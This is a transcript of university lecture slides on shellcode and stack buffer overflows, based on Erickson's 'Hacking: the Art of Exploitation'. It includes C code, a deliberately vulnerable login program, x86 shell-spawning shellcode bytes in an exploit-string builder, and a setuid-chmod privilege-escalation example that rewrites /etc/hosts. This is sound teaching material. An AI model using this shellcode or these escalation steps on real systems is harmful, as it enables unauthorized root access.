1 / 24

Shellcode

Shellcode. Georgia Tech ECE6612 Computer Network Security. Reference: "Hacking: the Art of Exploitation," Jon Erickson, 2nd ed., ISBN-13: 978-1-59327-144-2. 3/29/13. A computer is exploited ("hacked") if an unauthorized person gains access to the computer's data and computing resources.

kelli
Download Presentation

Shellcode

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Shellcode Georgia Tech ECE6612 Computer Network Security Reference: "Hacking: the Art of Exploitation," Jon Erickson, 2nd ed., ISBN-13: 978-1-59327-144-2 3/29/13

  2. A computer is exploited ("hacked") if an unauthorized person gains access to the computer's data and computing resources. This can be done by: 1. discovering a valid username and password (e.g., guessing or social engineering), 2. injecting crafted data into a vulnerable program to make it do things it should not do (e.g., SQL injection to extract private data, or cause a "buffer overflow" to alter data), 3. injecting "shell code" into the computer memory, and then getting the computer to execute that code. These slides will demo and discuss the second and third techniques: 1. What is "shellcode". 2. How can it be injected. 3. How can it be run. 2

  3. These slides will build up a foundation for further study using the book "Hacking, the Art of Exploitation," ed.2, by Jon Erickson*. Once techniques are known, defenses are incorporated. The hacker community then develops new techniques, and the cycle repeats. The book discusses the technological basis for past exploits, and details several cycles of hackers versus operating system developers. Neither the book nor these slides show specific techniques that can be used against current, updated operating systems. It does show how to construct a program for testing another program's susceptibility for buffer overflows, illustrating how hackers continually find new vulnerabilities. "Honey Pots" are computers set up to attract attacks so that the newest exploit code can be studied. The best code today uses sophisticated encryption and obfuscation techniques to prevent disassembly. Observing the network activity of an infected computer often does provide valuable information, especially if the covert channel techniques being used can be discovered. *www.nostarchpress.com 3

  4. Vulnerabilities Fixed in two versions on SeaMonkey Browser (Firefox with Editing) Fixed in SeaMonkey 2.0.12 MFSA 2011-10 CSRF risk with plugins and 307 redirects MFSA 2011-08 ParanoidFragmentSink allows javascript: URLs in chrome docs MFSA 2011-07 Memory corruption during text run construction (Windows) MFSA 2011-06 Use-after-free error using Web Workers MFSA 2011-05 Buffer overflow in JavaScript atom map MFSA 2011-04 Buffer overflow in JavaScript upvarMap MFSA 2011-03 Use-after-free error in JSON.stringify MFSA 2011-02 Recursive eval call causes confirm dialogs to evaluate to true MFSA 2011-01 Miscellaneous memory safety hazards (rv:1.9.2.14/ 1.9.1.17) Fixed in SeaMonkey 2.0.11 MFSA 2010-84 XSS hazard in multiple character encodings MFSA 2010-83 Location bar SSL spoofing using network error page MFSA 2010-82 Incomplete fix for CVE-2010-0179 [see http://cve.mitre.org/cve/] MFSA 2010-81 Integer overflow vulnerability in NewIdArray MFSA 2010-80 Use-after-free error with nsDOMAttribute MutationObserver MFSA 2010-79 Java security bypass from LiveConnect loaded via data: URL refresh MFSA 2010-78 Add support for OTS font sanitizer MFSA 2010-77 Crash and remote code execution using HTML tags inside a XUL tree MFSA 2010-76 Chrome privilege escalation with window.open and <isindex> element MFSA 2010-75 Buffer overflow while line breaking after document.write with long string MFSA 2010-74 Miscellaneous memory safety hazards (rv:1.9.2.13/ 1.9.1.16) 4

  5. The C Programming Language by Brian W. Kerningham and Dennis M. Ritchie* Developed along with UNIX in 1975 at Bell Labs, Murray Hill, NJ #include <time.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> char progid[80] = "square_it.c by John Copeland 4/1/2011" ; int do_square( int x) // "x" here is a local variable, stored in a different { // location (on the stack) from the "x" in main x = x * x ; return( x ) ; } int main(int argc, char * argv[ ]) { int x, y ; // modern: replace "int" with "int32_t" char buf[100] ; printf("\n%s\n", progid ) ; while(1) { printf("\n Type number (q = quit) : ") ; gets( buf ) ; if( buf[0] == 'q' ) break ; x = atoi( buf ) ; y = do_square( x ) ; printf(" The square of %d is %d\n", x, y ); } return( 0 ) ; } $ gcc -W all -o square_it square_it.c $ copeland$ ./square_it square_it.c by John Copeland 4/1/2011 warning: this program uses gets(), which is unsafe. Type number (q = quit) : 2 The square of 2 is 4 Type number (q = quit) : 3 The square of 3 is 9 Type number (q = quit) : q $ *Prentice Hall; ed 2 (1988), ISBN-10: 0131103628,ISBN-13: 978-0131103627, $48 Handy reference: http://www.acm.uiuc.edu/webmonkeys/book/c_guide/ (dated 1997 ) 5

  6. Integer and Character Declarations Old-Style Length in Bits // modern style: "int x ;" can be replaced by "int32_t x ;" #include <stdint.h> int32_t x ; 6

  7. C without memory pointers, is no C at all int64_t X, *P, A[10] ; // int64_t replaces "long long" char S[100] ; // string up to 99 chars, S[99] must = 0 (null) Kept in Symbol Table In Executable Program Equivalents: X and *( &X ) -also- S[10] and *(S+10) after P = &X : X and *P and P[0] and *(P + 0 ) "&" means "address of _", * means "value pointed to by _" 7

  8. How Programs are Stored in Memory, and subroutine arguments are put on stack. StackFrame Process Memory Lowest Address buffer flag Return Argument Addr. Local Arguments Saved Frame Pointer Return Instruction Ptr† Subroutine Input Arguments (passed by value) Text or Code Segment Data Segment BSS Segment (data) Heap Segment (grows toward higher addresses) Created by a subroutine or function call ---> Stack Segment (grows toward lower addresses) Highest Address † Modify this address to point at shell code, then return (set program counter) to this address when done. Erickson pp. 69-75 8

  9. Subroutine Calls Program Counter PC or EIP Text (Code) Segment Stack Data or BSS Segment main( ) Buffer, flags x: 2 10000 -> Return Value Ptr y =do_square( x ) y: _ -> 4 10008 -> printf( … ) Augment x:2 -> 4 Saved Frame Pointer PC return: 10008 Input Augment2 square_it( ) Stack Frame x = x * x 40000 -> return( x ) 40008 -> A subroutine call adds memory locations to the top of the stack, to hold all the local variables and the return value for the Program Counter (and Stack Pointer). 9

  10. Strings in C A string is an array of characters, terminated by a null byte ('\0'). C does not store the length, or maximum length, of a string. Frequent coding error: forgetting that S below can only hold 9 characters. char S[10], c='a', T[ ]="predefined", A[3][ ]={"yes","no","?"},*P; Memory: 0000000000apredefined0yes0no00?000PPPP //each char is a byte Program Line: printf("Results: %c.%s.\n", c, T ) ; Results: a.predefined. Program Line: gets( S ) ; //input from keyboard, note S is a char ptr User types: "c.abcdefghijI GOT YOU !" // > 10 characters Memory: abcdefghijI GOT YOU !yes0no00?000PPPP //each char is a byte Program Line: printf("Results: %c.%s.\n", c,T ) ; Results: I. GOT YOU !. Cure: fgets( S, 9, stdin) ; // limits input string to 9 characters We can see that a buffer overflow will mess up data, but how do we 1) put executable code in a string, and 2) execute it? 10 Erickson pp. 5-114

  11. Stack Buffer-Overflow // authenticate_me.c should grant access to only "john" or "cope" #include <stdio.h> #include <string.h> #include <stdlib.h> int check_auth( char *password) { char pw_buffer[16] ; int auth_flag = 0 ; strcpy(pw_buffer, password ) // string copy if(strcmp( password_buffer, "john" ) == 0 ) // string compare auth_flag = 1 ; if(strcmp( pw_buffer, "cope" ) == 0 ) // string compare auth_flag = 1 ; return( auth_flag ) ; } int main( int argc, char * argv[ ]) { if( check_auth( argv[ 1 ] ) // if return-augument != 0 printf(" ### Access Granted ### ") ; // for "john" or "cope" else printf(" ### Access Denied ### ") ; // anything else return( 0 ) ; } 11 Erickson p. 122

  12. Testing "Authenticate_Me" $ ./authenticate_me john ### Access Granted ### $ ./authenticate_me cope ### Access Granted ### $ ./authenticate_me nobody ### Access Denied ### $ ./authenticate_me xxxxxxxxxxxxxxxx ### Access Granted ### $ ./authenticate_me xxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault $ Overwriting "auth_flag" Overwriting PC return value in the preceding stack frame. Hackers use programs that automatically try all lengths of input to find a length that does what they want. 12

  13. Shellcode "Shellcode" is binary code that will execute without being processed by a "Loader". 1. Must make kernel system calls directly (no standard lib.s) 2. Must use absolute or relative jumps (no relocatable jumps) 3. Must be written using assembly language, and with a limited set of commands (e.g., no labels). Development can be helped by looking at assembly code generated by the C compiler, using the gdb debugger. The original shell code (shown later) starts a shell (e.g., /bin/sh) running so that a command prompt is available. If the vulnerable program is a SUID program (e.g., passwd), then the shell user is "root." Now "shell code" has come to include any similar code with other functions (e.g., installing a back door). Erickson pp. 281-318 13

  14. Hooking Code Program Counter (PC or EIP) Text (Code) Segment Stack SP -> Data Overflow to Inject New "PC Return" main( ) buffer (unused) 10000 -> Return Value: 4 y = do_square( x ) 10008 -> printf( … ) Augment x: 2 -> 4 Sled of NOP's Saved Frame Pointer do_square( ) PC return: 80000 Shellcode Input Augment2 x = x * x 40000 -> return( x ) 40008 -> Repeated Address (hopefully in sled) Later PC Return Previous Stack Frame Shellcode Exploit code that installs shellcode must: Get the PC return value from the Stack for the final "jump" state (or let it crash later). Know where the shellcode has been written in memory, to reset the PC return. The shellcode can reset the stack based on the current SP and SFP values. starting instruction 80000 -> more instructions jump 10008 14

  15. Putting Binary Shellcode into a String, on Command Line // type_shellcode.c // compile: gcc type_shellcode.c -o type_shellcode // output to stdout a (4 x argv[1])-byte sled, shell code, and then argv[2] // start addresses argv[3-6]: ./type_shellcode 10 20 191 255 248 92 // 40-byte sled, shellcode, 20 times 0xbffff85c * #include <stdio.h> ;#include <stdlib.h> ;#include <string.h> ; #include <sys/stat.h> char shellcode[ ] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80" "\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"; // 36 bytes + ‘\x00’ int main(int argc, char * argv[ ]) { int i , n ; char c[4] ; n = 4 * atoi( argv[ 1 ] ) ; // n = 10 for(i = 0; i < n ; i++) printf("%c",'\x90');// build sled of NOPs printf("%s", shellcode ) ; c[0]=atoi(argv[3]); c[1]=atoi(argv[4]); // 191 255 = hex bf ff c[2]=atoi(argv[5]); c[3]=atoi(argv[6]); // 248 92 = hex f8 5c n = atoi( argv[ 2 ] ) ; // n = 20 for(i = 0; i < n ; i++) printf("%c%c%c%c", c[0],c[1],c[2],c[3]); // start addresses return( 0 ) ; } Usage: > ./authenticate_me $(./type_shellcode 10 20 191 255 248 92 ) // To run, you must use gdb to find the right value of the starting address. // bash shell expands $( ./x ) to output of program ./x // *This is for a G4 CPU. For an Intel CPU, reverse the order of address-byte integers. Build sled - 10 nop's Print shellcode Build block - 20 ret's 15

  16. To see where pw_buffer is stored, add a line: printf(" ======= &pw_buffer = %x = %u\n", (unsigned int) &pw_buffer, (unsigned int) &pw_buffer ) ; and comment out other printf() lines: $./authenticate_me john ======= &pw_buffer = bfe27540 = 3219289408 $./authenticate_me john ======= &pw_buffer = bfecb010 = 3219959824 $./authenticate_me john ======= &pw_buffer = bfe35480 = 3219346560 $./authenticate_me john ======= &pw_buffer = bfe7b720 = 3219633952 $./authenticate_me john ======= &pw_buffer = bff71840 = 3220641856 $./authenticate_me john ======= &pw_buffer = bff96ad0 = 3220794064 $./authenticate_me john ======= &pw_buffer = bffeaab0 = 3221138096 $./authenticate_me john ======= &pw_buffer = bff84a50 = 3220720208 Stack Overflow Injection is now difficult because the address of the stack frame varies over a range of 2,000,000 bytes, each time the modified program was run. It only needs to work once. By automatically trying up to a million times, a single hit is probable, and that can install a back door to root. (see p. 384-391) 16

  17. Run a program with execle() to limit the Environment. Put the shellcode into the only Environment string, env[0]. The overflow string (buffer) only has to have the starting address (ret), repeated many times.* // execle_run.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <stdint.h> int main(int argc, char *argv[ ]) { char *env[2][ ] = {"\x31\xc0\x31 … \xcd\x80", NULL}; //Must be NULL uint_32 i, ret = 0xbffffffa;//address of env[0] in "authenticate_me" char buffer[161] ; for(i=0;i<160;i+=4) *( (uint32_t*) (buffer+i) ) = ret ; // put in 4-byte address buffer[160] = 0 ; execle("./authenticate_me", "authenticate_me", buffer, NULL, env ); return( 0 ) ; } * Erickson pp. 149-150 ** With today's (2011) Linux, "ret" has to match a different value on each run, even when execle() is used. 17

  18. Buffer overflows can be used to: Alter data later used in control statements. Input data and control data on stack. Inject shellcode and cause it to be executed. Basic problem: Input data and Program-Counter return values are kept on the stack. PC can point to a stack address. Other types of overflows: Stack segment overflow (p. 150) Function pointer overflow (p. 156) Printf format strings(p.171) Examine stack values Read arbitrary values from memory Write arbitrary values to memory 18

  19. Hackers will attack "suid" (super-user id) files, because they act with root permissions. These files should have the highest protection and monitoring. To find them, use "find <directory> -perm +04000 -ls" $ find /sbin -perm +04000 -ls -r-sr-xr-x 1 root root 68864 Jun 17 2009 /sbin/mount_nfs -r-sr-xr-x 1 root root 270 Nov 17 19:11 /sbin/ping -r-sr-xr-x 1 root root 68720 Jun 17 2009 /sbin/route -r-sr-xr-x 1 root root 47440 Sep 1 2010 /sbin/umount $ find /usr/sbin -perm +04000 -ls -r-sr-xr-x 1 root root 192016 Jun 17 2009 /usr/sbin/netstat -r-sr-xr-x 1 root root 535472 Jul 15 2009 /usr/sbin/pppd -r-sr-xr-x 1 root root 48240 Jun 17 2009 /usr/sbin/scselect -r-sr-xr-x 1 root root 64496 Jun 17 2009 /usr/sbin/traceroute -r-sr-xr-x 1 _uucp root 449072 Sep 23 2007 /usr/sbin/uucico -r-sr-xr-x 1 _uucp root 201456 Sep 23 2007 /usr/sbin/uuxqt -r-sr-xr-x 1 root root 185232 Jul 15 2009 /usr/sbin/vpnd 19

  20. If you can execute only one bash command as root, you can open permanent escalation to root. An example: $ ls -l /bin/ed -rwxr-xr-x root root 114000 Jun 17 2009 /bin/ed Only owner (root) can write $ ed /etc/hosts a 192.168.135.37 www.microsoft.com . w /etc/hosts: Permission denied Can not rewrite a file with root-only w permission q $ sudo chmod 4755 /bin/ed One command as root, unlocks the door! $ ls -l /bin/ed -rwsr-xr-x root root 114000 Jun 17 2009 /bin/ed "s" means root privileges $ ed /etc/hos a 192.168.135.37 www.microsoft.com . w 2051 Root-only file was edited and rewritten (2051 bytes)! q Result – DNS lookup of www.microsoft.com results in IP = 192.168.135.37 - Any file can be edited. 20

  21. Networking, Chapter 4 Concise explanation of of sockets, protocol stack, formats, … Simple code for: Server program (p.204) Web Server program (p.213) Network traffic sniffing (p.224) Source code for Nemesis (arp spoofing, p.245) SYN flood, Ping of Death, Ping Flood, … TCP/IP highjacking (p.258) Port scanning (p.264) Pro-active defense (p.267) Port-binding shellcode (p.278) 21

  22. Shellcode, Chapter 5 Using ASM to write assembly code (p.281) Linux system calls (p.283) Investigating with gdb (p.289) Removing null bytes (p.290) Shell-spawning shellcode (the original, p.295) Port-binding shellcode (for backdoors, p.303) Connect-back shellcode (defeat firewalls, p.314) 22

  23. Counter Measures, Chapter 6 Counter measures that detect intrusion (p.320) Log files (p.334) Rootkit techniques (p.348) Socket reuse (p.355) Payload smuggling (hiding signatures, p.359) Polymorphic Printable ASCII shellcode (p.366) Non-executable stack (available, not used, p.376) Randomized stack space (seen earlier, p.379) Defeating above (p.388) 23

  24. Cryptology, Chapter 7 Basics (p.393) Symmetric encryption (p.398) Asymmetric encryption (p.400) Hybrid Ciphers (man-in-the-middle attacks, p.406) SSH attacks Password Cracking (p.418) Dictionary attacks, Rainbow Tables Wireless 802.11b WiFi encryption (p.436) WPA attacks - not covered Conclusion, Chapter 8 (pp. 452-453) 24

More Related